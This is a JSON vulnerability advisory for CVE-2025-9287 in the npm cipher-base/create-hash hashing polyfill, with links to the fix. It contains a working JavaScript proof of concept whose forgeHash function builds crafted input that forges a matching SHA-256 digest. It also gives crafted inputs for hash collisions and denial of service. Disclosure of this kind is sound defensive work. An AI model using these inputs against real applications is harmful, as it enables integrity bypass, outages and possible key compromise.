{"id":"CVE-2025-9287","aliases":["GHSA-cpq7-6gpm-g9rc"],"url":"https://o3.security/vulnerability/CVE-2025-9287","summary":"Missing type checks leading to hash rewind and passing on crafted data","details":"### Summary\n\nThis affects e.g. `create-hash` (and `crypto-browserify`), so I'll describe the issue against that package\nAlso affects `create-hmac` and other packages\n\nNode.js `createHash` works only on strings or instances of Buffer, TypedArray, or DataView.\n\nMissing input type checks (in npm `create-hash` polyfill of Node.js `createHash`) can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.\n\n### Details\n\nSee PoC\n\n### PoC\n```js\nconst createHash = require('create-hash/browser.js')\nconst { randomBytes } = require('crypto')\n\nconst sha256 = (...messages) => {\n  const hash = createHash('sha256')\n  messages.forEach((m) => hash.update(m))\n  return hash.digest('hex')\n}\n\nconst validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever\n\nconst payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')\nconst receivedMessage = JSON.parse(payload) // e.g. over network, whatever\n\nconsole.log(sha256(...validMessage))\nconsole.log(sha256(...receivedMessage))\nconsole.log(receivedMessage[0])\n```\n\nOutput:\n```\n9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9\n9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9\nHashed input means safe\n```\n\nThis works with:\n```js\nconst forgeHash = (valid, wanted) => JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }])\n```\n\nBut there are other types of input which lead to unchecked results\n\n### Impact\n\n1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.\n2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }`\n    This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js)\n4. DoS on `{length:'1e99'}`\n5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like [GHSA-vjh7-7g9h-fjfh](https://github.com/indutny/elliptic/security/advisories/GHSA-vjh7-7g9h-fjfh))\n6. Also, other typed arrays results are invalid, e.g. returned hash of `new Uint16Array(5)` is the same as `new Uint8Array(5)`, not `new Uint16Array(10)` as it should have been (and is in Node.js `crypto`) -- same for arrays with values non-zero, their hashes are just truncated to `%256` instead of converted to correct bytelength","published":"2025-08-20T21:43:56.548Z","modified":"2026-08-12T03:51:35.622754676Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"cipher-base","fixedVersion":"1.0.5"}],"fix":{"url":"https://github.com/browserify/cipher-base/pull/23","label":"browserify/cipher-base#23"},"references":[{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/09/msg00005.html"},{"type":"WEB","url":"https://npmjs.com/cipher-base"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/9xxx/CVE-2025-9287.json"},{"type":"ADVISORY","url":"https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-9287"},{"type":"FIX","url":"https://github.com/browserify/cipher-base/pull/23"},{"type":"PACKAGE","url":"https://github.com/browserify/cipher-base"},{"type":"WEB","url":"https://github.com/browserify/cipher-base/commit/8fd136432ca298a664f5637629cf2b42a6c7f294"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:35.622754676Z"}}